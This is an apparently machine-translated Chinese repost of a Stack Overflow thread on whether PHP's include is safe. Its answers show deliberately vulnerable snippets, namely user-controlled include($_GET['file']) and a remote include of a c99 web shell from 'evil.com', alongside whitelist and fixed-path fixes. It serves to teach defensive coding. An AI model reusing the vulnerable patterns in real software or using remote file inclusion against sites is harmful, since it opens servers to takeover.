PHP - “包含”功能是否安全?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP - “包含”功能是否安全?相关的知识,希望对你有一定的参考价值。

我正在使用“include”函数(e.x.“include'head2.php'”或“include'class.users.php'”)在我的网站中添加标题或会话类。我真的不记得在哪里,但我听说黑客滥用,不知何故,这个“包含”的东西,发送虚假的包含页面或类似的东西。所以基本上我想知道什么是“包含”功能,我该如何保护它,它们如何滥用它以及是否有更好的解决方案来满足我的需求。

提前致谢。

答案

这一切都取决于你如何实现它。如果您专门设置路径,那么它是安全的。如果允许用户输入确定文件路径而不进行清理或检查,则可能发生攻击。

不安全(目录遍历)

<?php 
include($_GET['file']);
?>

不安全(URL fopen - 如果启用)

<?php 
include('http://evil.com/c99shell.php');
?>

不安全

<?php 
include('./some_dir/' . $_GET['file']);
?>

部分不安全(* .php文件易受攻击)

<?php 
include('./some_dir/' . $_GET['file'] . '.php');
?>

安全(虽然不确定为什么有人会这样做。)

<?php 
$allowed = array(
    'somefile.php',
    'someotherfile.php'
);

if (in_array(basename($_GET['file']), $allowed)) {
    include('./includes/' . basename($_GET['file']));
}
?>

安全

<?php 
include('./includes/somefile.php');
?>
另一答案

包含的最大问题可能是将文件扩展名从PHP更改为Web服务器无法自动执行的内容。例如library.inc或config.inc。使用Web浏览器调用这些文件将显示代码而不是执行它 - 并且将显示任何密码或可利用的提示。

比较可能有密码的config.php和config.inc。在大多数情况下,启动config.inc会显示数据库密码。

有些程序员使用.inc扩展库。前提是它们不在Web服务器可访问的目录中。但是,较少安全的偏执程序员可能会将该文件转储到方便的Web目录中。

否则,请确保不以某种方式包含由查询字符串提交的文件。例如:include( $_GET['menu_file'] )

另一答案

如果您执行以下操作,可能会滥用包含:

include($_GET["page"]);

然后调用URL:

myscript.php?page=index.php

然后攻击者可以用index.php替换hxxp://hackerz.ru/install_stuff.php,你的服务器很乐意运行它。

include本身非常安全。只需确保始终验证/转义您的输入。

另一答案

服务器端(假设您的服务器没有受到损害)是安全的。这样做:

$var = $_GET['var']';    
include $var . ".php";

是不安全的。

include "page.php"; 

是安全的。

另一答案

最好的办法是确保您尝试包含的页面首先存在。当您的包含页面是从某种用户输入(例如URL变量)处理时,会出现真正的安全漏洞。 ?include=page.php只要你对这些谨慎,你应该没事。

if(is_file($file)) {
    //other code, such as user verification and such should also go here
    include $file;
}
else { die(); }
另一答案

如果您不这样做,则包含是安全的:

  1. 包括像www.someoneelsesssite.com/something.php这样的远程文件
  2. 包含来自客户端的路径中的文件。 www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
  3. 包含来自其他可能受污染的源(如数据库)的文件。

2和3技术上有一个警告,如果你不允许./或在窗口你可能没事。但如果你不知道为什么,你就不太了解风险。即使您认为数据库是只读的或其他安全的,明智的做法是不要假设除非您真的需要,这几乎从不。

正如pp19dd的答案指出的那样。使用.php扩展名命名包含也很重要。如果您已将apache(或您正在使用的任何Web服务器)设置为将另一种文件类型解析为PHP,那么这也是安全的。但如果您不确定,请使用.php。

另一答案

没有! include()不安全。不考虑单行代码,请考虑这一点:即使文件加载失败,include()仍然允许您的脚本突然显示。它将继续运行并发出警告。所以,这会为聪明的恶意用户扩大你的php脚本的攻击向量。

在现代应用程序设计中,为什么包含文件需要是可选的?如果您的应用程序不完整,您希望它失败!

另一答案

我正在使用这种方法。

<?php include (dirname(__FILE__).'/file.php');

以上是关于PHP - “包含”功能是否安全?的主要内容,如果未能解决你的问题,请参考以下文章

html PHP代码片段: - AJAX基本示例:此代码演示了使用PHP和JavaScript实现的基本AJAX功能。

使用 PHP 安全上传图片

PHP - “包含”功能安全吗?

PHP常用代码片段

运行/调试你的PHP代码

PHP 代码片段